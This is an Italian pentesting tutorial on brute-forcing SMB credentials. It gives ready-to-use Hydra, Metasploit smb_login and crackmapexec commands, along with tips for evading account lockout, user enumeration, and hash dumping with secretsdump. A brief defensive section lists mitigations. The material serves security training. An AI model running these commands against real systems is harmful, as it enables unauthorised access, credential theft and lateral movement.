Tutorials

Guida Approfondita: SMB Bruteforce

Il protocollo SMB Server Message Block è largamente utilizzato nei sistemi Windows per la condivisione di file, stampanti e altre risorse di rete. Durante una fase di penetration test, l'SMB può esser

#exploitation#windows#smb#metasploit

Guida Approfondita: SMB Bruteforce

Introduzione

Il protocollo SMB (Server Message Block) è largamente utilizzato nei sistemi Windows per la condivisione di file, stampanti e altre risorse di rete. Durante una fase di penetration test, l'SMB può essere un ottimo vettore per ottenere accesso non autorizzato tramite brute-force attack, soprattutto quando le policy di password non sono adeguatamente configurate.

Questa guida descrive le principali tecniche e strumenti per effettuare un attacco di brute-force sul servizio SMB, approfondendo anche aspetti che vanno oltre il semplice utilizzo di Hydra.


Obiettivi dell'attacco

  • Identificare credenziali valide per l'accesso SMB.
  • Accedere a condivisioni di rete protette.
  • Escalation dei privilegi tramite condivisioni di sistema o credenziali di amministratori.

Strumenti Principali

1. Hydra

Uno dei tool più noti per effettuare brute-force su vari protocolli, incluso SMB.

Comando base:

bash
hydra -L user.txt -P pass.txt smb://<IP_TARGET>

oppure:

bash
hydra -L user.txt -P pass.txt <IP_TARGET> smb

Parametri:

  • -L: file con lista di username
  • -P: file con lista di password
  • : indirizzo IP della macchina target

Opzioni aggiuntive consigliate:

bash
hydra -L users.txt -P passwords.txt -t 4 -V <IP> smb
  • -t: thread per velocizzare (default 16)
  • -V: output verboso

2. Metasploit Framework - modulo smb_login

Caricamento del modulo:

bash
msfconsole
use auxiliary/scanner/smb/smb_login

Configurazione:

bash
set RHOSTS <IP_TARGET>
set SMBUser <utente>   # o set USER_FILE users.txt
set SMBPass <password> # o set PASS_FILE passwords.txt
set THREADS 10
run

Questo modulo permette di testare credenziali multiple sfruttando connessioni parallele e gestisce automaticamente i casi di account bloccati o errori comuni.

3. crackmapexec

Tool avanzato per valutazioni su SMB, NTLM, e Active Directory. Permette di validare credenziali, elencare share, eseguire comandi remoti se possibile.

Esempio d'uso:

bash
crackmapexec smb <IP_TARGET> -u user.txt -p pass.txt

Per testare una singola combinazione:

bash
crackmapexec smb <IP_TARGET> -u Administrator -p Welcome123

Tecniche e Tattiche Aggiuntive

Account Lockout Avoidance

  • Rallentare i tentativi con --delay o configurazioni di thread.
  • Usare wordlist ridotte e credenziali ottenute da OSINT.
  • Testare prima account "guest", "test", "admin", "backup", spesso senza lockout.

Validazione Utenti con Enum4linux o Rpcclient

Prima di effettuare brute-force, è utile enumerare gli utenti validi.

Enum4linux:

bash
enum4linux -a <IP_TARGET>

Rpcclient:

bash
rpcclient -U '' <IP_TARGET> -N
> enumdomusers

Analisi di Share Accessibili

Una volta ottenuto l'accesso:

bash
smbclient -L //<IP_TARGET> -U <user>

Poi connettersi:

bash
smbclient //<IP_TARGET>/ShareName -U <user>

Dump delle Password Hash (Se possibile)

Con credenziali valide, usare secretsdump.py di Impacket:

bash
secretsdump.py <domain>/<user>:<pass>@<IP_TARGET>

Best Practice Offensive

  • Utilizzare wordlist mirate (raccolte tramite recon o OSINT)
  • Automatizzare con script per validazione e brute-force in loop
  • Integrare tool come CrackMapExec e Impacket per fase post-auth

Difese e Mitigazioni (Blue Team Perspective)

  • Configurare account lockout dopo tentativi falliti
  • Abilitare auditing su accessi SMB
  • Disabilitare SMBv1 e limitare le share
  • Usare LAPS per la gestione delle password locali

Conclusione

Il brute-force sul protocollo SMB può essere un vettore estremamente efficace se sfruttato con criterio. Combinare diverse tecniche, usare wordlist personalizzate e strumenti complementari consente di aumentare le chance di successo e ottenere credenziali valide da riutilizzare per privilege escalation o movimento laterale.